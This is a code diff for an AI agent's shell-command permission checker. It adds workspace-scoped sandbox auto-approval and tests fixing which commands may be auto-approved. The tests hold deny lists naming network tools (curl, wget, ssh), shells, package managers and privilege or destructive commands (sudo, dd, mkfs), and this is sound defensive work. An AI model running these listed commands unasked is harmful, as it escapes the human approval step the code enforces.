|
646
|
+
const workspaceRoot = getWorkspaceDir();
|
|
647
|
+
const isContainerized = getIsContainerized();
|
|
648
|
+
|
|
649
|
+
hasSandboxAutoApprove =
|
|
650
|
+
shellParsed.segments.length > 0 &&
|
|
651
|
+
!shellParsed.hasOpaqueConstructs &&
|
|
652
|
+
shellParsed.dangerousPatterns.length === 0 &&
|
|
653
|
+
shellParsed.segments.every((seg) => {
|
|
654
|
+
const name = seg.program.split("/").pop() ?? seg.program;
|
|
655
|
+
const spec: CommandRiskSpec | undefined = Object.hasOwn(
|
|
656
|
+
DEFAULT_COMMAND_REGISTRY,
|
|
657
|
+
name,
|
|
658
|
+
)
|
|
659
|
+
? DEFAULT_COMMAND_REGISTRY[
|
|
660
|
+
name as keyof typeof DEFAULT_COMMAND_REGISTRY
|
|
661
|
+
]
|
|
662
|
+
: undefined;
|
|
663
|
+
if (!spec?.sandboxAutoApprove) return false;
|
|
664
|
+
|
|
665
|
+
// Containerized: entire fs is workspace, skip path checks
|
|
666
|
+
if (isContainerized) return true;
|
|
667
|
+
|
|
668
|
+
// Non-containerized: parse args and check all path args against workspace
|
|
669
|
+
const schema = spec.argSchema ?? {};
|
|
670
|
+
const parsed = parseArgs(seg.args, schema);
|
|
671
|
+
|
|
672
|
+
// If no path args, auto-approve (operating on cwd/stdin which is workspace)
|
|
673
|
+
if (parsed.pathArgs.length === 0) return true;
|
|
674
|
+
|
|
675
|
+
// All path args must resolve within workspace
|
|
676
|
+
return parsed.pathArgs.every((p) => {
|
|
677
|
+
// Handle ~ expansion: ~/ is current user's home, ~user/ is another
|
|
678
|
+
// user's home. Both resolve outside the workspace in practice.
|
|
679
|
+
// Treat any tilde-prefixed path as outside workspace unless it
|
|
680
|
+
// happens to resolve within it after expansion.
|
|
681
|
+
if (p === "~" || p.startsWith("~/")) {
|
|
682
|
+
const expanded =
|
|
683
|
+
p === "~" ? homedir() : join(homedir(), p.slice(2));
|
|
684
|
+
return isPathWithinWorkspaceRoot(expanded, workspaceRoot);
|
|
685
|
+
}
|
|
686
|
+
if (p.startsWith("~")) {
|
|
687
|
+
// ~root/, ~user/, etc. — resolve outside workspace
|
|
688
|
+
return false;
|
|
689
|
+
}
|
|
690
|
+
const resolved = p.startsWith("/") ? p : resolve(workingDir, p);
|
|
691
|
+
return isPathWithinWorkspaceRoot(resolved, workspaceRoot);
|
|
692
|
+
});
|
|
693
|
+
});
|
|
694
|
+
}
|
|
695
|
+
|
|
592
696
|
// Build approval context from local variables
|
|
593
697
|
const tool = getTool(toolName);
|
|
594
698
|
const config = getConfig();
|
|
595
|
-
const
|
|
596
|
-
|
|
699
|
+
const gatewayThreshold = await getAutoApproveThreshold(
|
|
700
|
+
policyContext?.conversationId,
|
|
597
701
|
policyContext?.executionContext,
|
|
598
702
|
);
|
|
703
|
+
const resolvedThreshold =
|
|
704
|
+
gatewayThreshold ??
|
|
705
|
+
resolveThreshold(
|
|
706
|
+
config.permissions.autoApproveUpTo,
|
|
707
|
+
policyContext?.executionContext,
|
|
708
|
+
);
|
|
599
709
|
const approvalContext: ApprovalContext = {
|
|
600
710
|
riskLevel: risk,
|
|
601
711
|
toolName,
|
|
@@ -607,10 +717,16 @@ export async function check(
|
|
|
607
717
|
? isWorkspaceScopedInvocation(toolName, input, workingDir)
|
|
608
718
|
: false,
|
|
609
719
|
toolOrigin:
|
|
610
|
-
tool?.origin === "skill"
|
|
720
|
+
tool?.origin === "skill" || tool?.origin === "plugin"
|
|
721
|
+
? "skill"
|
|
722
|
+
: tool
|
|
723
|
+
? "builtin"
|
|
724
|
+
: undefined,
|
|
611
725
|
isSkillBundled: tool?.ownerSkillBundled ?? false,
|
|
612
726
|
hasManifestOverride: !!manifestOverride,
|
|
613
727
|
autoApproveUpTo: resolvedThreshold,
|
|
728
|
+
isGatewayThreshold: gatewayThreshold != null,
|
|
729
|
+
hasSandboxAutoApprove,
|
|
614
730
|
};
|
|
615
731
|
|
|
616
732
|
// Delegate the allow/prompt/deny decision to the approval policy
|
|
@@ -675,10 +791,6 @@ function shellAllowlistStrategy(
|
|
|
675
791
|
input: Record<string, unknown>,
|
|
676
792
|
): Promise<AllowlistOption[]> {
|
|
677
793
|
const command = ((input.command as string) ?? "").trim();
|
|
678
|
-
// TODO(phase-3): Wire RiskAssessment.scopeOptions into permission prompts
|
|
679
|
-
// and retire buildShellAllowlistOptions + buildShellCommandCandidates from
|
|
680
|
-
// shell-identity.ts. The classifier's generateScopeOptions produces the
|
|
681
|
-
// canonical scope ladder; this legacy path should not diverge further.
|
|
682
794
|
return buildShellAllowlistOptions(command);
|
|
683
795
|
}
|
|
684
796
|
|
|
@@ -873,22 +985,26 @@ export async function generateAllowlistOptions(
|
|
|
873
985
|
): Promise<AllowlistOption[]> {
|
|
874
986
|
signal?.throwIfAborted();
|
|
875
987
|
|
|
876
|
-
//
|
|
877
|
-
//
|
|
878
|
-
//
|
|
879
|
-
//
|
|
880
|
-
|
|
881
|
-
const
|
|
882
|
-
if (
|
|
883
|
-
|
|
884
|
-
cachedAssessment
|
|
885
|
-
|
|
886
|
-
|
|
988
|
+
// When permission-controls-v3 is enabled, use classifier-produced options
|
|
989
|
+
// from the assessment cache (populated by BashRiskClassifier.classify()).
|
|
990
|
+
// When the flag is off, fall through to the legacy per-tool strategies
|
|
991
|
+
// (e.g. shellAllowlistStrategy for bash/host_bash) to avoid changing the
|
|
992
|
+
// allowlist pattern format for users who haven't opted in.
|
|
993
|
+
const config = getConfig();
|
|
994
|
+
if (isAssistantFeatureFlagEnabled("permission-controls-v3", config)) {
|
|
995
|
+
const aKey = assessmentCacheKey(toolName, input);
|
|
996
|
+
const cachedAssessment = assessmentCache.get(aKey);
|
|
997
|
+
if (
|
|
998
|
+
cachedAssessment?.allowlistOptions &&
|
|
999
|
+
cachedAssessment.allowlistOptions.length > 0
|
|
1000
|
+
) {
|
|
1001
|
+
return cachedAssessment.allowlistOptions;
|
|
1002
|
+
}
|
|
887
1003
|
}
|
|
888
1004
|
|
|
889
|
-
// Fall back to the per-tool strategy function
|
|
890
|
-
//
|
|
891
|
-
//
|
|
1005
|
+
// Fall back to the per-tool strategy function. For bash/host_bash when the
|
|
1006
|
+
// flag is off, this uses shellAllowlistStrategy (action: key patterns).
|
|
1007
|
+
// For other tools, this is the only path.
|
|
892
1008
|
if (Object.hasOwn(ALLOWLIST_STRATEGIES, toolName)) {
|
|
893
1009
|
return ALLOWLIST_STRATEGIES[toolName](toolName, input);
|
|
894
1010
|
}
|
|
@@ -896,6 +1012,18 @@ export async function generateAllowlistOptions(
|
|
|
896
1012
|
return [{ label: "*", description: "Everything", pattern: "*" }];
|
|
897
1013
|
}
|
|
898
1014
|
|
|
1015
|
+
/**
|
|
1016
|
+
* Retrieve a cached RiskAssessment for a given tool invocation.
|
|
1017
|
+
* Returns `undefined` when no classifier-backed assessment exists
|
|
1018
|
+
* (e.g. MCP tools, unknown tools that fall through to registry defaults).
|
|
1019
|
+
*/
|
|
1020
|
+
export function getCachedAssessment(
|
|
1021
|
+
toolName: string,
|
|
1022
|
+
input: Record<string, unknown>,
|
|
1023
|
+
): RiskAssessment | undefined {
|
|
1024
|
+
return assessmentCache.get(assessmentCacheKey(toolName, input));
|
|
1025
|
+
}
|
|
1026
|
+
|
|
899
1027
|
// Directory-based scope only applies to filesystem and shell tools.
|
|
900
1028
|
// All other tools auto-use "everywhere" (the client handles this).
|
|
901
1029
|
export const SCOPE_AWARE_TOOLS = new Set([
|
|
@@ -532,4 +532,243 @@ describe("command-registry", () => {
|
|
|
532
532
|
expect(trustSubs).toContain("clear");
|
|
533
533
|
});
|
|
534
534
|
});
|
|
535
|
+
|
|
536
|
+
// ── sandboxAutoApprove allowlist guard ───────────────────────────────────
|
|
537
|
+
describe("sandboxAutoApprove allowlist", () => {
|
|
538
|
+
/** Collect all top-level commands tagged with sandboxAutoApprove: true. */
|
|
539
|
+
function getSandboxAutoApproveCommands(): string[] {
|
|
540
|
+
return Object.entries(DEFAULT_COMMAND_REGISTRY)
|
|
541
|
+
.filter(
|
|
542
|
+
([, spec]) => (spec as CommandRiskSpec).sandboxAutoApprove === true,
|
|
543
|
+
)
|
|
544
|
+
.map(([name]) => name)
|
|
545
|
+
.sort();
|
|
546
|
+
}
|
|
547
|
+
|
|
548
|
+
/**
|
|
549
|
+
* The exact set of commands that should be tagged with sandboxAutoApprove.
|
|
550
|
+
* This acts as a guard — any addition or removal must be intentional and
|
|
551
|
+
* update this list.
|
|
552
|
+
*/
|
|
553
|
+
const EXPECTED_SANDBOX_AUTO_APPROVE = [
|
|
554
|
+
// Core filesystem (read-only)
|
|
555
|
+
"ls",
|
|
556
|
+
"cat",
|
|
557
|
+
"head",
|
|
558
|
+
"tail",
|
|
559
|
+
"less",
|
|
560
|
+
"more",
|
|
561
|
+
"wc",
|
|
562
|
+
"file",
|
|
563
|
+
"stat",
|
|
564
|
+
"du",
|
|
565
|
+
"df",
|
|
566
|
+
"diff",
|
|
567
|
+
"tree",
|
|
568
|
+
"pwd",
|
|
569
|
+
"realpath",
|
|
570
|
+
"basename",
|
|
571
|
+
"dirname",
|
|
572
|
+
"readlink",
|
|
573
|
+
// Search / filter / text processing
|
|
574
|
+
"grep",
|
|
575
|
+
"rg",
|
|
576
|
+
"ag",
|
|
577
|
+
"ack",
|
|
578
|
+
"sort",
|
|
579
|
+
"uniq",
|
|
580
|
+
"cut",
|
|
581
|
+
"tr",
|
|
582
|
+
"sed",
|
|
583
|
+
// awk excluded: system() can execute arbitrary commands
|
|
584
|
+
// System info / text output
|
|
585
|
+
"echo",
|
|
586
|
+
"printf",
|
|
587
|
+
// Data processing
|
|
588
|
+
"jq",
|
|
589
|
+
"yq",
|
|
590
|
+
// find excluded: -exec/-execdir/-delete can execute arbitrary commands or delete files
|
|
591
|
+
"fd",
|
|
592
|
+
// Write commands
|
|
593
|
+
"cp",
|
|
594
|
+
"mv",
|
|
595
|
+
"mkdir",
|
|
596
|
+
"touch",
|
|
597
|
+
"ln",
|
|
598
|
+
"tee",
|
|
599
|
+
// Delete commands
|
|
600
|
+
"rm",
|
|
601
|
+
"rmdir",
|
|
602
|
+
// Permissions / ownership
|
|
603
|
+
"chgrp",
|
|
604
|
+
"chmod",
|
|
605
|
+
"chown",
|
|
606
|
+
// Archives
|
|
607
|
+
"tar",
|
|
608
|
+
"zip",
|
|
609
|
+
"unzip",
|
|
610
|
+
"gzip",
|
|
611
|
+
"gunzip",
|
|
612
|
+
].sort();
|
|
613
|
+
|
|
614
|
+
test("sandboxAutoApprove commands match the expected allowlist exactly", () => {
|
|
615
|
+
const actual = getSandboxAutoApproveCommands();
|
|
616
|
+
expect(actual).toEqual(EXPECTED_SANDBOX_AUTO_APPROVE);
|
|
617
|
+
});
|
|
618
|
+
|
|
619
|
+
test("network commands are NOT tagged with sandboxAutoApprove", () => {
|
|
620
|
+
const networkCommands = [
|
|
621
|
+
"curl",
|
|
622
|
+
"wget",
|
|
623
|
+
"http",
|
|
624
|
+
"ssh",
|
|
625
|
+
"scp",
|
|
626
|
+
"rsync",
|
|
627
|
+
"ping",
|
|
628
|
+
"dig",
|
|
629
|
+
"nslookup",
|
|
630
|
+
];
|
|
631
|
+
for (const cmd of networkCommands) {
|
|
632
|
+
const spec = (
|
|
633
|
+
DEFAULT_COMMAND_REGISTRY as Record<string, CommandRiskSpec>
|
|
634
|
+
)[cmd];
|
|
635
|
+
expect(spec).toBeDefined();
|
|
636
|
+
expect(spec.sandboxAutoApprove).not.toBe(true);
|
|
637
|
+
}
|
|
638
|
+
});
|
|
639
|
+
|
|
640
|
+
test("runtime/language commands are NOT tagged with sandboxAutoApprove", () => {
|
|
641
|
+
const runtimeCommands = [
|
|
642
|
+
"node",
|
|
643
|
+
"deno",
|
|
644
|
+
"python",
|
|
645
|
+
"python3",
|
|
646
|
+
"ruby",
|
|
647
|
+
"bash",
|
|
648
|
+
"sh",
|
|
649
|
+
"zsh",
|
|
650
|
+
];
|
|
651
|
+
for (const cmd of runtimeCommands) {
|
|
652
|
+
const spec = (
|
|
653
|
+
DEFAULT_COMMAND_REGISTRY as Record<string, CommandRiskSpec>
|
|
654
|
+
)[cmd];
|
|
655
|
+
expect(spec).toBeDefined();
|
|
656
|
+
expect(spec.sandboxAutoApprove).not.toBe(true);
|
|
657
|
+
}
|
|
658
|
+
});
|
|
659
|
+
|
|
660
|
+
test("package manager commands are NOT tagged with sandboxAutoApprove", () => {
|
|
661
|
+
const packageCommands = [
|
|
662
|
+
"npm",
|
|
663
|
+
"npx",
|
|
664
|
+
"yarn",
|
|
665
|
+
"pnpm",
|
|
666
|
+
"bun",
|
|
667
|
+
"pip",
|
|
668
|
+
"pip3",
|
|
669
|
+
"brew",
|
|
670
|
+
"cargo",
|
|
671
|
+
"apt-get",
|
|
672
|
+
"apt",
|
|
673
|
+
"dnf",
|
|
674
|
+
"yum",
|
|
675
|
+
"pacman",
|
|
676
|
+
"apk",
|
|
677
|
+
];
|
|
678
|
+
for (const cmd of packageCommands) {
|
|
679
|
+
const spec = (
|
|
680
|
+
DEFAULT_COMMAND_REGISTRY as Record<string, CommandRiskSpec>
|
|
681
|
+
)[cmd];
|
|
682
|
+
expect(spec).toBeDefined();
|
|
683
|
+
expect(spec.sandboxAutoApprove).not.toBe(true);
|
|
684
|
+
}
|
|
685
|
+
});
|
|
686
|
+
|
|
687
|
+
test("every sandboxAutoApprove command must have argSchema defined", () => {
|
|
688
|
+
const missing: string[] = [];
|
|
689
|
+
for (const [name, spec] of Object.entries(DEFAULT_COMMAND_REGISTRY)) {
|
|
690
|
+
if (
|
|
691
|
+
(spec as CommandRiskSpec).sandboxAutoApprove === true &&
|
|
692
|
+
(spec as CommandRiskSpec).argSchema === undefined
|
|
693
|
+
) {
|
|
694
|
+
missing.push(name);
|
|
695
|
+
}
|
|
696
|
+
}
|
|
697
|
+
expect(missing).toEqual([]);
|
|
698
|
+
});
|
|
699
|
+
|
|
700
|
+
test("xargs is NOT tagged with sandboxAutoApprove", () => {
|
|
701
|
+
const spec = (DEFAULT_COMMAND_REGISTRY as Record<string, CommandRiskSpec>)
|
|
702
|
+
.xargs;
|
|
703
|
+
expect(spec).toBeDefined();
|
|
704
|
+
expect(spec.sandboxAutoApprove).not.toBe(true);
|
|
705
|
+
});
|
|
706
|
+
|
|
707
|
+
test("commands with value-consuming argRule flags have matching argSchema.valueFlags", () => {
|
|
708
|
+
// When an argRule has both `flags` and `valuePattern`, those flags consume
|
|
709
|
+
// the next token as a value — the valuePattern matches against that value.
|
|
710
|
+
// The command's argSchema.valueFlags must include those flags so that
|
|
711
|
+
// parseArgs() correctly pairs flags with their values.
|
|
712
|
+
const errors: string[] = [];
|
|
713
|
+
|
|
714
|
+
function checkSpec(spec: CommandRiskSpec, path: string): void {
|
|
715
|
+
if (spec.argRules) {
|
|
716
|
+
for (const rule of spec.argRules) {
|
|
717
|
+
if (rule.flags && rule.valuePattern) {
|
|
718
|
+
// This rule's flags consume a value — check argSchema coverage.
|
|
719
|
+
const schemaValueFlags = new Set(
|
|
720
|
+
spec.argSchema?.valueFlags ?? [],
|
|
721
|
+
);
|
|
722
|
+
for (const flag of rule.flags) {
|
|
723
|
+
if (!schemaValueFlags.has(flag)) {
|
|
724
|
+
errors.push(
|
|
725
|
+
`${path}/${rule.id}: flag "${flag}" consumes a value (has valuePattern) ` +
|
|
726
|
+
`but is not listed in argSchema.valueFlags`,
|
|
727
|
+
);
|
|
728
|
+
}
|
|
729
|
+
}
|
|
730
|
+
}
|
|
731
|
+
}
|
|
732
|
+
}
|
|
733
|
+
if (spec.subcommands) {
|
|
734
|
+
for (const [sub, subSpec] of Object.entries(spec.subcommands)) {
|
|
735
|
+
checkSpec(subSpec, `${path} ${sub}`);
|
|
736
|
+
}
|
|
737
|
+
}
|
|
738
|
+
}
|
|
739
|
+
|
|
740
|
+
for (const [name, spec] of Object.entries(DEFAULT_COMMAND_REGISTRY)) {
|
|
741
|
+
checkSpec(spec as CommandRiskSpec, name);
|
|
742
|
+
}
|
|
743
|
+
expect(errors).toEqual([]);
|
|
744
|
+
});
|
|
745
|
+
|
|
746
|
+
test("system/privilege commands are NOT tagged with sandboxAutoApprove", () => {
|
|
747
|
+
const systemCommands = [
|
|
748
|
+
"sudo",
|
|
749
|
+
"su",
|
|
750
|
+
"doas",
|
|
751
|
+
"mount",
|
|
752
|
+
"umount",
|
|
753
|
+
"systemctl",
|
|
754
|
+
"service",
|
|
755
|
+
"launchctl",
|
|
756
|
+
"reboot",
|
|
757
|
+
"shutdown",
|
|
758
|
+
"kill",
|
|
759
|
+
"killall",
|
|
760
|
+
"pkill",
|
|
761
|
+
"dd",
|
|
762
|
+
"mkfs",
|
|
763
|
+
"fdisk",
|
|
764
|
+
];
|
|
765
|
+
for (const cmd of systemCommands) {
|
|
766
|
+
const spec = (
|
|
767
|
+
DEFAULT_COMMAND_REGISTRY as Record<string, CommandRiskSpec>
|
|
768
|
+
)[cmd];
|
|
769
|
+
expect(spec).toBeDefined();
|
|
770
|
+
expect(spec.sandboxAutoApprove).not.toBe(true);
|
|
771
|
+
}
|
|
772
|
+
});
|
|
773
|
+
});
|
|
535
774
|
});
|